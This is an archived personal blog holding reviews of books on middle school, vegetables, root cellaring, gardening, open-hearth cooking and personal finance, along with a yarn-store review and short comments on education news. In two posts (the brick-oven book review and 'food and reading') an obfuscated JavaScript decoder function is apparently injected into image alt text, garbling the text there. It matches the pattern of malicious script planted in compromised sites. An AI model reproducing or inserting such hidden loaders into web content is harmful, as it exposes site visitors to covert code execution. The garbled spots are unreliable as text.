spectating participant

January 17, 2008

Book Review: The Middle School Survival Guide

Filed under: review, books — suzanne henderson @ 8:57 pm

The Middle School Survival Guide: How to Survive from the Day Elementary School Ends until the Second High School Begins

The Middle School Survival Guide, written by Arlene Erlback, seemed like a pretty good resource for my daughter’s first year in middle school. I assume that the target audience is other middle school children, from ages 11 to 14 (6th through 8th grade). The cover is playfully drawn and seems very inviting for youth in that age range.

I picked this book up from a library display and placed it in a public area of the house hoping that Alex would take the initiative to look at it. In the meantime, I flipped through it to get a sense of information presented. At first, I was quite pleased with many of the items — especially those focusing on academic and family life. The author does a good job stating how expectations often increase greatly in school and at home during the middle school years and presents several suggestions for dealing with this expectations. The book also has quotes from other middle schoolers offering advice on each topic as well.

I was also pleased to see the book addressing social concerns such as fitting in, dealing with peer pressure, and romantic relationships. I was happy to see the author pushing the approach that while fitting in is fine, you should also make sure your still being yourself and not what someone else wants you to be. Erlback also talks about consumerism and wearing name brand clothing and offers suggestions to avoid and ways to work with your parents, and their budget, to possibly get some you want.

While I really appreciated the upfront approach to peer relationships and challenges, puberty changes, and serious issues like violence and sexual assault — there were a few places where my views slightly conflicted with her commentary. First, I must comment that I feel that I’m very far from being prudish in any sense of the word, even when it comes to my daughter, and that I’m not naive as to the things kids are doing these days (being pregnant at 14, I know that some kids participate in some adult activities at a very young age). Here are the items that I took issue with:

  • In the Dressing Sexy section, the author comments on the influence of sex in the media and fashion and also that they way you dress can get you to get attention you don’t want. However, it also states “Unless you school has a dress code, you do have the right to dress however you want.” This one sentence really jumped out at me because I don’t believe it to be true, dress code or not. Especially not when it comes to dressing provocatively when you’re only 12. While the author seemed to be pushing a “less sexy is good” approach, this statement along with the youth quote really implied that dressing sexy is what everyone else is doing and you can too (”can” seem too easy for a youth to read can as “should”) . While my daughter has a lot of autonomy, she doesn’t have the “right” to do most thing as she choses, I do get some say in issues such as these.
  • In the Party Scene section, the author seemed to paint the picture that all middle school co-ed parties are big make-out sessions. Erlbach does a good job presenting ways out of the situation if it makes them uncomfortable, but also offers simple instructions on kissing. I don’t mind the instructions as much as the impression I get that this is the “normal” expectation. I guess I prefer it being presented as something that probably doesn’t happen, but here are some ways to deal with it if it does - like rest of the commentary on sexual activity in the book. The chapter goes into a lot more detail on sex, including oral sex, and provides a fairly upfront view that waiting until your older is better. It does a great job of discussing possible social fallout if you do have sexual intimacy with someone else and dealing with sexual rumors that are not true.

Overall, this books does a good job of addressing almost all the physical and social issues that our young children face today. I’d imagine that a more conservative parent would be a little uncomfortable with the very upfront commentary on puberty, sex, sexuality, and media influence. Other than the two items mentioned above, I’ve found little that I didn’t like in the book. Even with my reservations, I would still encourage my child read this book, especially because of the frank discussions on sexual issues (including abuse and assault!) and be willing to discuss any questions she might have. I feel that it offers a great deal in the direct way it discusses these issues and that I can personally address the concerns I have with the book with her.

August 21, 2007

Review: Knitters Nest

Filed under: stores, creative — suzanne henderson @ 3:13 pm

Knitters Nest
1431 Liberty Road
Eldersburg, MD 21784
(410) 549-0709

Knitters Nest, located in Eldersburg, Maryland, is a new (summer 2007) yarn store in Carroll County. There is a great selection of basic and specialty yarns for all types fiber enthusiasts. The environment is very inviting and cozy and the owner, Deborah, is very attentive and helpful. You’ll be able to find all the materials you need for a new project or stock up on some new yarns that you’ve been wanting to try like bamboo.

Knitters Nest offers classes and open knitting and spinning times each month. Tea is offered every Tuesday from 11am-2pm, you’re welcome to come chat with other crafters and work on your own project and instructors are on hand to help answer questions. There is a monthly knitting circle on the third Thursday of the month from 7pm-9pm and a monthly Spinning circle on the second Sunday from 1pm-4pm.

Alex and I attended a Tuesday Tea and was welcomed warmly by all of the other ladies. I was happy to see they we’re so receptive to a non-knitting/crochet crafter and it was great sharing my project (fiber hair falls) with them. The classes looked very interesting, especially the class on making felted clogs, and I look forward to taking one in the near future. I picked up some new 100% wool yarns (the wool selection at Joanns was pretty sad) that I plan to make into a new set of hair falls.

I’d recommend visiting whether you’re in the area or want to make a special trip. Make a day of it and visit the beading store, Two Busy Beads, conveniently located next door or visit the Second Floor Scapbook store at 32 &26.

December 27, 2006

Book Review: Vegetables Every Day

Filed under: review, books, cooking, food — suzanne henderson @ 2:50 am

Root Cellaring

First, let me say that if you cook, you should own this book. [Vegetables Every Day] by [Jack Bishop] states that is is The Definitive Guide to Buying and Cooking Today’s Produce, with more than 350 Recipes. I must agree because this book does cover all the standard, and a few less american-typical, vegetables found in the supermarket and farmstand. I came across this book at a friend’s house and watched how it was used almost daily to add variety to standby vegetables and test new vegetables coming from their recently established (reestablished) garden.

It is the perfect solution to doing more than steaming broccoli or broiling asparagus. Vegetables are listed in alphabetical order with informative introductions on the history of the vegetable, availability, selection criteria, storing conditions, basic preparation and best cooking methods. These details are just a page or two long and are followed with several different recipes for cooking and serving each vegetable. If you’re tired of plain mashed potatoes, this book with offer other recipes to try to help you break out of your culinary rut.

I’ve owned this book for almost two years and it is the most used book in my kitchen and if I was forced to select a single book for my cooking resource this would be it. While I’ve read it cover to cover only a few times — it is normally grabbed in desperation and habit pushes me toward tired approaches to my families favorite vegetables — I’ve taken a renewed interest in it in conjunction with reading [Root Cellaring] by Mike and Nancy Bubel. In preparation for the eventual root cellar and self-sustaining garden, I realize that our family needs to branch out in vegetable variety and this book is a roadmap for this new adventure. We’ll be making use of the recipe suggestions to helps us expand our tastebuds to include more vegetables that are common staples in the root cellar and family garden.

Wether you’re trying to expand your vegetable preferences or just tired of always using the same old preparation for your favorite vegetables - you should own this book. If you get it and hate it (impossible I believe), feel free to send me your copy because I could actually use two as I’m often making more than one new recipes a night when motivation strikes (and when the crisper drawer is overstuffed and items are nearing expiration).

Book Review: Root Cellaring: Natural Cold Storage of Fruits and Vegetables

Filed under: review, books, food — suzanne henderson @ 2:23 am

Root Cellaring

[Root Cellaring] by [ Mike and Nancy Bubel] addresses the somewhat forgotten method of fruit and vegetable storage - the root cellar. This book does an excellent job discussing the traditional root cellar while also making considerations for households that (probably) lack this luxury. This book can help you construct something small or elaborate or help you find nooks and crannies around your house to store a fall harvest of vegetables and fruits.

The books lists storage and growing details for each crop that help you grow and harvest them at the right time and use them before they’ve gone bad. Common problems and challenges are addressed along with lists of vegetables that are particularly hardy and are standard in most root cellars (or similar storage location).

While, I felt some of the options listed were not very practical - like burying large barrels of food stores in the yard - there were ideas for every situation. I liked that the book made storing vegetables possible for modern households and lifestyles - with and without modifications to the home (found space versus made space). If you’re just looking for a way to keep your farmstand produce fresh for a few more weeks, this book will be very helpful. If you want to go all and start tilling the ground, you’ve also got a great reference text.

Another nice perk is the Bubel’s month-to-month produce usage list that includes fresh, cellared, and frozen produce - it helps paint a realistic picture of what is possible with proper planning. Overall, this is an excellent book that I highly recommend to anyone who likes to cook and eat fresh produce.

Book Review: Square Foot Gardening

Filed under: review, books, food — suzanne henderson @ 1:47 am

Square Foot Gardening

[Square Foot Gardening] by [Mel Bartholomew] offers a “new” method for gardening - an approach that strays from the typical rows and rows of crops planted with much enthusiasm and lots of work during the growing season. This isn’t a new book, the copy I have was printed in 1981 and I’ve seen recent releases of 2005 (paperback) and a new book titled [All New Square Foot Gardening: Grow More in Less Space!].

For the home gardener, novice or experienced, this is a great resource for a new way to look at the work and effort put into the garden. Instead of sowing lengthy rows of crops, using entire packages seeds, you plant just the number of plants needed. This helps limit the strenuous chores of tilling, weeding, thinning, harvesting, and using surplus produce. This ‘new’ method produces gardens that resemble a giant tic-tac-toe with each block being filled with vegetables, herbs, and flowers - the amount you need and (hopefully) no more.

Best aspects:

  • charts listing the space needs, growing seasons, and square foot yields for different crops
  • the simple notion of considering how much fresh produce you’ll eat or process and planting based on that number instead of just going out and sowing until the ground is full of (over) abundance
  • planting individual seeds help save on seed costs (assuming you store them properly, as noted) and reduces the need to come out and thin or pull out perfectly good plants that contribute to overcrowding of the typical garden
  • tiling and weeding reduced to a mere fraction compared to traditional gardening

My only, very minor, complaint is the failure to include planting for storage in terms of root cellar storage. I reread this book following a rereading of [Root Cellaring] and was disappointed to see that canning and freezing were the only storage methods addressed. Obviously, this is a minor complaint because the book is addressing growing food and needn’t include processing options. If your planning on growing foods ffor winter storage, you still need to consider your actual needs so you can still plant what you need and not go overboard (something that seems easy to do when considering the aspect of living off your winter stores for several months).

This is an excellent companion to [Root Cellaring] and a wonderful resource that I’ll be calling upon as soon as we have enough land or space to start our garden. The newer book supposedly includes new methods to make it even easier, but I think I’ll stick with this volume since it provides everything I need and I’m not really looking for more shortcuts.

July 18, 2006

That Girl Emily

Filed under: review — suzanne henderson @ 3:16 pm

That Girl Emily

Found a link to this site from a personal finance blog — guess it isn’t really money related — and found it amusing enough. The blogger that linked it commented on the sadness of the situation, but I guess I’ve just been “blogging” too long to actually believe that any of it is true. Now, of course, I’ll give some credit that I could be wrong and that it would indeed suck, but the frequency of the posts and the way every day seems to flow so smoothly, just doesn’t add up to me. Much less, having your world break like that doesn’t lend itself to vigorous posting and such a well developed plan ready and in action.

Storytelling is a fine art form, I’ve no issue with people developing blogs of fictitious events that are amusing to read, but they do remain in the amusement category without any consideration of concern about the events entailed.

July 16, 2006

Book Review: The Forgotten Art of Building and Using a Brick Bake Oven

Filed under: review, books, cooking, food — suzanne henderson @ 10:28 am

The Forgotten Art of Building <script type=function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand Using a Brick Bake Oven” />

[The Forgotten Art of Building and Using a Brick Bake Oven] by [Richard M. Bacon] also had the titles “How to Date, Renovate, or Use an Existing Brick Oven, or to Construct a New One” and “The Lore an History of an Indispensable Part of the Kitchen from Colonial Times tot he 1800s”. Lots of titles for a slender book.

This is a very compact book with lots of descriptions, images, and diagrams. On first impression, I didn’t really find it useful for dating a brick oven, but maybe if I spent more time looking at them I’d find some of his descriptions helpful. What I really enjoyed was the detailing on how to build your own brick oven, the proper method for building a fire, and general baking instructions.

The images offer plenty of dimensions and considerations for building a working brick oven in your fireplace or in any other area of the kitchen. I look forward to building one some day and baking in the oven while cooking in the open-hearth.

Book Review: The Open-Hearth Cookbook

Filed under: review, books, cooking, food — suzanne henderson @ 10:12 am

The Open-Hearth Cookbook

[The Open-Hearth CookBook: Recapturing the Flavor of Early America|The Open-Hearth CookBook] by [Suzanne Goldenson] and [Doris Simpson].

This book provides a brief, yet detailed, overview of early American cooking in the fireplace. It discusses the cooking implements used for cooking and describes the differences between wealthy households and average households. Descriptions on how to build and maintain a fire, judge cooking temperatures and times, and how to use even a modern day fireplace to recreate meals from the past are included.

I found the details about how yesteryear cooking was accomplished very interesting and motivating for getting a fireplace big enough to try it out. The authors provide descriptions of their attempts to recreate past recipes and also include many recipes that most families, today, could use. There are little bits of information that really make this book an excellent resource for someone looking to bring open-hearth cooking into their home — like detailing the instruments used and stating how antique collectors make it almost impossible, financially, to obtain certain authentic, useful equipment. However, they do assure you that any modern blacksmith would be able to help to make equipment you may not be able to find.

I also enjoyed seeing how the cooking methods did not differ greatly from our stove top cooking today. The authors even explain how we continue to use the same senses to determine cooking temperature and times in meal preparation. They mentioned that the desire for gas ranges truly reflects how we’ve continued these early cooking methods because of the ability to allow our visual and physical clues tell us about the heat versus reliance on a electric cook tops that probably provides more accurate temperature control.

Great book for anyone looking to cook over a fire — be aware that it probably takes a little more effort and a lot more wood than you originally thought. This books goes well with [The Forgotten Art of Building and Using a Brick Bake Oven] by [Richard M. Bacon].

May 5, 2006

Book Review: You Can Do the Math

Filed under: review, books — suzanne henderson @ 8:33 pm

You Can do the Math

[You Can Do the Math: Overcome Your Math Phobia and Make Better Financial Decisions] is written by [UMD|University of Maryland, College Park] professor [Ron Lipsman].

First, I find it rather amusing that this book is written by a professor at my university. I’m not sure that it adds a lot to my interpretation of the book other than the fact that I can actually walk across campus and say hi to the guy if I wanted. In fact, I’ve considered doing so just because this to be a great book for someone like me.

I argue about how much I dislike math when it comes to math classes and homework and tests, but the reality is that I love having a formula to use to calculate useful amounts - like compounding interest or statistical significance. Professor Lipsman does a fabulous job presenting these concepts and formulas in a way that is easy to understand, and if you sit down with pencil and paper you will see just why it works.

The current period of my life is full of upcoming decisions involving home buying decisions, car purchasing, investment planning, and putting money away for my daughter’s education — this book is exactly what I need to be reading because it talks about all of these topics and more. Concepts like compounding interest and mortgage payment calculations are no longer rocket science — it is really quite simple.

Lipsman also addresses other financial decisions like insurance and gambling and how to apply mathematical formulas to them in order to evaluate their costs and benefits. Also, interests and tax brackets are given a lot of consideration and formulas are given that show just how an investment or situation for a lower-taxed individuals differs from a higher-taxed individual — this idea alone is quite interesting. The ability to calculate average return on investments, average inflation, and average taxation in order to truly see what something helps me get a full grasp on the full scope of investing and exactly how my money is or is not working for me.

Personally, I feel this book is a excellent (and essential) tool for everyone interested in their finances. Being able to understand the math behind it all, beyond the generic investment calculator, will really give you a look at the financial picture in full detail and really illustrate exactly why some investment and decisions are better or worse. However, while he does a good job of writing the book for a generic reader and it attempts to prevent math formula intimidation, I think his concepts are only really accessible if you’ve got a decent math foundation or a willingness to get out the pencil and paper and test his formulas to really bring home the concepts they illustrate.

This is not a book full of investment wisdom or get rich suggestions — this book is all about understanding the math behind all the major purchases and investments options presented over a life time. I feel it has underlying suggestive value because once you do the math, you’ll probably see what direction you need to take. Finally, the author has presented the information in a way that is both informative, mathematical, and amusing. And, his ideas might even be considered minimally politically charged and that makes me enjoy it all the more — someone with an opinion willing to put that out there along with his useful data.

Excellent book certainly worth owning!

March 28, 2006

Pair of Teachers said to cheat on MSA

Filed under: review, news — suzanne henderson @ 11:25 am

Pair of Carroll County Teachers said to cheat on MSA - baltimoresun.com

What a clear indication of that these standardized test scores mean — too high a value placed on scores than on teaching. Alex’s school spent a week going over strategies and practice problems before the MSA at her school. Is this what school should be about? No. Also, they now have a double period of math and reading to make up for the reduced scores last year. Math and reading will soon be the only thing our children are taught and taught in such a way that it is almost useless beyond the testing environment. The real world doesn’t give you multiple choice options for actions, it doesn’t care if you can follow the standardized format for responding to questions. It wants critical thinking, analytical skills, and a real ability to write. Placing cookie cutter strategies designed for a specific test will not prepare our children for anything more than paper based test problems.

March 16, 2006

Book Review: Body Clutter

Filed under: flylady, books — suzanne henderson @ 10:27 am

[Body Clutter: love your body, love yourself] by [Marala Cilley] and [Leanne Ely]

Written by the author of [Sink Reflections] and the author of [Saving Dinner], Body Clutter is a joint endeavor by the Flylady and Leanne Ely. The flylady email list that I am on has given numerous testimonials regarding the book, setting it out as a wonderful tool for starting on that path to removing personal body clutter (fat).

Now, the book boasts the fact that it is more than just losing weight. Eliminating body clutter is also about addressing the reasons we over eat, including emotional attachments to food and childhood experience that may give us an unhealthy excessive craving for certain items. There are activities in the book, mostly journaling activities, designed to address the issues behind over eating and poor nutrition and exercise.

In Marla’s typical narrative style, there is a lot of conversational material in the book that seems to barely get at the issues. Yes, she discusses them and tries to provided her standard motivation of encouragement without accepting whining or excuses, but it really works out to a lot of flat paragraphs. Personal examples have filled all of her writings from Sink Reflections to her website and emails, but in this instance, they seem to be overwhelming her message in a negative way.

Leanne Ely offers a lot of insight in how to make eating healthy possible. I like having her insight, especially considering that I’m one of the many subscribers to savingdinner.com’s weekly menu lists. But she also seemed to adopt Marla’s style of writing that really just filled 227 pages with what could have been done in about 50.

Now, to be fair, I am not starting out on searching for the right motivation to get healthy. I’ve already figured that out for myself. However, I was hoping ot find some suggestions or comments that would stick with me, as I did in the Sink Reflections book, that would make it easier to continue on my path. Flylady (Marla) has often directed her prose at the individual who feels hopelessly out of control of their life and this book is a reflection on that. But, unfortunately, it just seems like a long narrative highlighting that issue without truly empowering someone to stand up and take action or how to start that process. For someone so focused on “babysteps” for progress, she didn’t fufill her goal of helping people on to their personal journey for eliminating body clutter. Instead, she just threw her experiences (and Leanne’s) out to the masses, mentioned how our mind plays a role in our habits, and just let the pieces fall where they may.

Finally, I have to admit to my discomfort at giving a negative review of this book. Mostly because I admire Flylady’s methods and her ability to get people motivated. But, I just can’t say that this book is of any use to anyone who needs to make a change or who wants to make a change. There are other books out there that address the mental and physical issues surrounding weight loss while empowering the reader with real, tangible steps to start taking. Body Clutter is just another passive excuse for not dealing with the issue, it’ll get read and people will be able to agree with the writings, but in the end it will just end up at the bottom of the book shelf, if not garage sale pile, because there is nothing in it to refer back to or hold on to.

March 2, 2006

Sitting Pretty: Fountain of Youth

Filed under: books — suzanne henderson @ 11:04 am

Sitting Pretty: Fountain of Youth

I’ve added this book to my upcoming reading list. It has been mentioned on several pages that I’ve read and sounds like I’ll be able to identify with it to some extent. Of course, being a new book, my library doesn’t have it yet and my full-time student budget and buying a house plans have limited my book buying budget to about nothing.

I’m a big fan of the public library and love being able to get books through this service, but it means waiting for new books. I also like to support authors, but I tend to reserve that to books that I’ve been able to check it out and decide that it is worth buying. Considering the number of books I read — far more than I manage to review — I must use this method. Otherwise, i would be spending all of my budget to keep up with my reading interests.

February 23, 2006

Movie Review: Maria Full of Grace

Filed under: movies, review — suzanne henderson @ 10:20 pm

Maria Full of Grace is a movie about a young woman who becomes a drug smuggling mule. I have mixed opinions about this movie; it includes some heavy issues but it does so a little too superficially. You have elements of religion, poverty, hostile work environments, teen sex and pregnancy, difficult family dynamics, drug running, criminal rights, murder, immigration, and friendship but it just doesn’t come together well enough for me. These are things that can affect one family in great detail, but the movie really tossed them up in the air and let some scatter to the wind and others just rest on the shoulder of the plot without really developing into something more. The title of the movie doesn’t actually hold out for the meaning behind the character of the film, but it certainly had potential to do just that.

This movie is easy to watch and is not a bad movie. On the concept of drug smuggling and being a mule — the process of preparing the drugs, getting them all down, and actually keeping them all in — was fairly well represented and perhaps offered a more humanized view of what that is like. But, it still feels like it was done outside of the realm of the rest of the movie and didn’t really work in holding the movie together. I would recommend the movie to anyone curious about using people as physical carrying cases for drugs, but not as a complete film on the issues surrounding that topic.

February 15, 2006

JS Online:What you need to know on vouchers

Filed under: review, news — suzanne henderson @ 12:20 pm

JS Online:What you need to know on vouchers

Milwaukee’s voucher program is an endless source of controversy. I remember when people were arguing about the validity of it and there were threats of it making its way to the supreme court to validate it. At that time, there was a big push to keep it out of the courts because that would open up a floodgates of simmilar programs in other states and many people did not want that to happen.

I must say that I am torn on the issue. I see the advantage of vouchers for low-income families that want their children to get a private eduction but cannot afford it. I deperately want to enroll my daughter in a school with values that I find important. Unfortunately, that means I would have to put her in private schools because public schools offer a limited scope of education and are so restricted by the [No Child Left Behind] act that all they can do now is teach for tests in order to stay funded. Now, there is a disconnect in the voucher and private school success idea. Private schools don’t have to report their scores or any information and there have been several cases in Milwaukee where schools sprung up in response to the voucher program and were doing nothing positive for the students.

So, how do you make this program work? If your using state funds to private schools don’t those schools have to show they are truly focused on the education of children? But, if you require them to show results, are you just placing another institution under Bush’s chains of reporting and then going to stamp out all of the education benefits a private school can offer?

I have a hard time supporting private schools because i’ve always felt that parents need to put their energies into making public schools better. But, our government is taking that ability out of our hands, just as many parents are placing that responsibility into someone else’s hands, and public schools are losing at an astounding rate. Does anyone think that our teachers in public schools think that what they are doing, the curriculum they are forced to use, is helping out students? It isn’t and I am glad that my daughter attends a school that doesn’t sugar coat their requirements and motives and that will speak to the fact that the curriculum and expectations placed on the classroom is not the best policy. But, it is hard to avoid feeling overwhelmed when it seems that our power as parents and community members is being removed and abandoned and government (at the hands of Bush, no less) is taking up the slack and leaving every child behind.

February 10, 2006

Teacher guilty in mock hanging

Filed under: review, news — suzanne henderson @ 7:08 pm

Teacher guilty in mock hanging

Okay, so we go from false negatives in spelling bees to imitation hangings in second grade classrooms? I just don’t know what to say about that.

Bad call by judge spells trouble for girl at bee

Filed under: review, news — suzanne henderson @ 7:03 pm

Bad call by judge spells trouble for girl at bee

Okay, I understand about being annoyed that your child spelled something right and was judged wrong. BUT, to go home and then complain and expect some time-reversing action to take place just because no one else in attendance was astute enough to realize she’d spelled it right is a bit absurd. Really, if she spelled it right, then it should have been recognized at the event. Maybe it wouldn’t be done by the next round of words, but at least before everyone went home. And then to throw out that all-american-threat of going to court? Come off it.

February 7, 2006

Blogging is altering the real estate landscape

Filed under: review, news — suzanne henderson @ 9:32 am

Blogging is altering the real estate landscape - Jan. 19, 2006

this isn’t all that surprising seeing as how blogs have had a pretty interesting influence of most markets. I’m tossing it up here so that I can go back and look at a few of the blogs mentioned and see if there are any worth reading.

February 6, 2006

Book Review: The Simpler Family

Filed under: review, books — suzanne henderson @ 3:29 pm

a book by Christine Klein

The Simpler Family: A Book of Smart Choices and Small Comforts for Families Who Do Too Much. This book has some useful insights on ways to simply your life if things are feeling a little hectic. There is also information about going from a dual-income household to a single income household. Overall it seems to be just common sense, but I’ve also spent a lot of brainpower on this subject so I didn’t find anything new.

If there was a way to get a dense version of [Sink Reflections] for families that are not drowning in clutter but need a little more time and organization, that would be a great alternative to this book. This information can be found in many books and magazine articles about creating a happier and more peaceful home. Overall, this book pulls many things together in one place and makes for simpler reading — a decent place to start.

Book Review: Death by Theory

Filed under: review, books, school — suzanne henderson @ 3:09 pm

a book by Adrian Praetzellis that explores Archaeological Theory in a mystery novel. It does a good job refreshing one’s memory about the major theories in anthropology and archaeology without putting you to sleep. They touch on subjects just long enough to provide information and move on before you give up on reading anymore. I’d suggest it to anyone who wants a refresher course in theory or anyone who likes bizarre and cheesy mystery novels.

February 5, 2006

Group Offers $300,000 For Preschool Education

Filed under: review, news — suzanne henderson @ 7:41 pm

Group Offers $300,000 For Preschool Education

Early childhood education is starting to be noticed. Yes, a good start early in life is important to school success. Companies are recognizing the importance of quality programs for a group that is often overlooked. And, the forward thinking of this, in the sense that they are investing in a workforce that will not appear for many more years, is quite impressive. Of course, education is a holistic system and as easy as it is to set off on the right foot it is easy to start slipping downhill if the momentum is not maintained through a child’s entire educational career. Overall, an encouraging initiative and step in an improvement direction.

Time to kick kid ads in the square pants

Filed under: review, news — suzanne henderson @ 7:32 pm

New York Daily News - Ideas & Opinions - Lenore Skenazy: Time to kick kid ads in the square pants

It is encouraging to see more and more articles and news coverage like this. There have been consumer and government groups concerned about advertising to children for some time now, but maybe we are actually getting to the point that something will begin to happen.

I’m always so torn by all of the topics that I am interested in. I think it is about time to pick a platform or issue and pursue it instead of just dabbling interests in a vast range of topics. However, i would say that nutrition and diet have been a big interest of late from adults to children. Oh, but how does this tie to my goals of pursuing education research? So much to be concerned about and so little time to devote to it.

40 MPH or 30 MPH?

Filed under: news — suzanne henderson @ 5:26 pm

ad-awards.com - International advertising awards : Department for Transport __ Abbott Mead Vickers BBDO

The non-profit ads have some very powerful messages. This one was quite simple and certainly made me think!

July 30, 2005

music wanted

Filed under: music, life — suzanne henderson @ 2:47 pm

A while ago, I lost all of my mp3 collection. This was a pretty impressive collection while still probably minor compared to most of my friends. Now, I am not a big music fan, but I did realize the importance of music once I no longer had it. So, what I need now is to catch up on some albums that I am missing. In theory, I will buy these some day, but it takes me so long to get around to that. I’ll start the list in the meantime.

Are You Shpongled Voices on the Verge: Live in Philadelphia Oceania Fragments of Freedom

[Jess Klein] (especially “Flattery”)
[Beth Amsel]
[Erin McKeown]
[Fat Boy Slim]
[Nanci Griffth]

and more once I think of it.

July 29, 2005

food and reading

Filed under: books, food — suzanne henderson @ 6:47 pm

Fork It Over : The Intrepid Adventures of a Professional Eater The Man Who Ate Everything (Vintage) Garlic <script type=function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand Sapphires : The Secret Life of a Critic in Disguise” /> The Artful Eater: A Gourmet Investigates the Ingredients of Great Food

I’m still on a [food] [book] kick. I’m in the middle of three of these books and had some observations that I felt like sharing. I was able to find everything at my local library except for [The Artful Eater]. The first one, [Fork It Over], by [Alan Richman], is rather popular right now and I had to get in line on the hold list to get a copy. [The man Who Ate Everything], by [Jeffery Steingarten] has been sitting around on the shelves mostly untouched. The last returnstamp date says ‘Nov 29 2004′. Obviously there is no mad rush to read this one, not surprising since it is 8 years old. Steingarten does have a newer book (2002) that was sitting on the shelf waiting for me to return for seconds.

I eagerly started in on [Fork It Over], having just set down the entertaining and tasty [Garlic and Sapphires]. It is a collection of essays that was published in [GQ] magazine on the topic of food. This small point should have stood out a little more upon initial interest in the book. It didn’t take long for the book to get off to a bad start with me. The writer is arrogant, plain and simple, and talks so little about food that I wonder why he even bother’s considering himself a food critic. Now, here is where I should have realized that his audience for these pieces are GQ readers and maybe this style of writing is personally suited to their tastes and expectations of both men as writers and food. The essays are tedious to get through and I’ve left the book lost on tables and couches several times, not interested in finding where I left off. I will give it my customary attempt to complete the full book before totally ruling it off the chart of worthwhile reading, however, the due date quickly approaches and there is a whole line of people waiting to sink their teeth in. Maybe they will find it more worthwhile that I have, maybe they read GQ on a religious basis and feel that adding a pompous character to the typical dining experience will make this a treat to devour. Or, maybe they’ll pick it up, happy it has finally arrived, and also sit and gawk at the brutish nature of the author and the seemingly disregard for the expectation that the articles be about food.

I was reluctant to pick up [The Man Who Ate Everything]. It wasn’t because of the sour taste left by Richman’s book, but because the book didn’t look exciting. It’s paperback cover looked like it’d be shoved to the back of the shelf and forgotten. The ‘National Bestseller’ heading made me delay even longer, having found that claims like that, printed on the actual book, typically mean that the book needs help and it cannot stand alone of reputation but simply get by at the mere suggestion that if many people bought it, it must be good. Luckily, I found this book listed on another food website or food book review, so I knew that someone took the time to read and suggest it. And, when facing the opportunity to read more from [Fork It Over] or to head on the new and hopefully better things, I finally started reading.

Now, Steingarten is a great food writer. The articles are not always about the tastes of food but they do relate to food in every way. And, he seems completely interested in all things about eating and he conveys this with little trouble. The writing is so down to earth and easy to linger through. I feel that I could easily invite him over for a tall glass of ice tea and to discuss what new creative projects he has set out for. For example, he doesn’t just write about food in the simple tasting way, but really delves into his topics and offers up his own minorly-political commentary to boot. There is an entire article on catsup, not something I typically have an interest in, but in the methodological approach and witty syntax, it was an enjoyable adventure to embark on. He writes with the simplicity of the average person, there is no need to cater to some imagined stereotyped reader, but to write for the masses about the masses of food. I’m loving this book and hope to add it to my collection some day.

I have not forgotten about [The Artful Eater]. I am still working my way through it bit by bit, far more enchanted by it now than I was in the beginning. It must have been my bad mood talking before. This is a charming book, suited for quiet moments of life reflection and when you want to take your time. I find it to be the perfect before-bed-ritual-reading book because, along with the serene cover, the words float carefully through your mind and stir up subtle responses. I’m working on it one page of one article at a time and plan to finish it at a very leisurely rate.

July 23, 2005

Dove’s campaign for beauty

Filed under: news — suzanne henderson @ 9:32 am

Dove’s Campaign for Beauty is a series of ads featuring “real women” with real curves. A new marketing strategy also aimed at increasing women’s self esteem and responding to women’s requests that companies start featuring realistic women in their ads. They used six women, none of them models, to pose for their newest campaign and it seems to cause a great bit of stir. However, it seems that some people, a lot of people, don’t feel that real women should be advertised as beautiful. For them, air brushed super models are the only way to go, regardless of how unrealistically attainable their beauty is or of the negative social implications that it places on young women, teenagers, and preteens.

In Dove ad campaign a real knockout , a Chicago Sun-Times report states:

One word comes to mind when I see those Dove ads — disturbing. And disturbing quickly morphs into frightening when I see the ad while waiting for the L at the Merchandise Mart. There — in all of their 4-foot-high glory — are the ladies of Dove more lifelike than I’d like to see in my advertising.

Really, the only time I want to see a thigh that big is in a bucket with bread crumbs on it (rim shot here).

I seems a few other fellow reporters at the Chicago Sun-Times also jumped on the bandwagon, screaming out their distaste of “disturbing” ads by Dove. It looks like there are people out there ready to call them on it too:

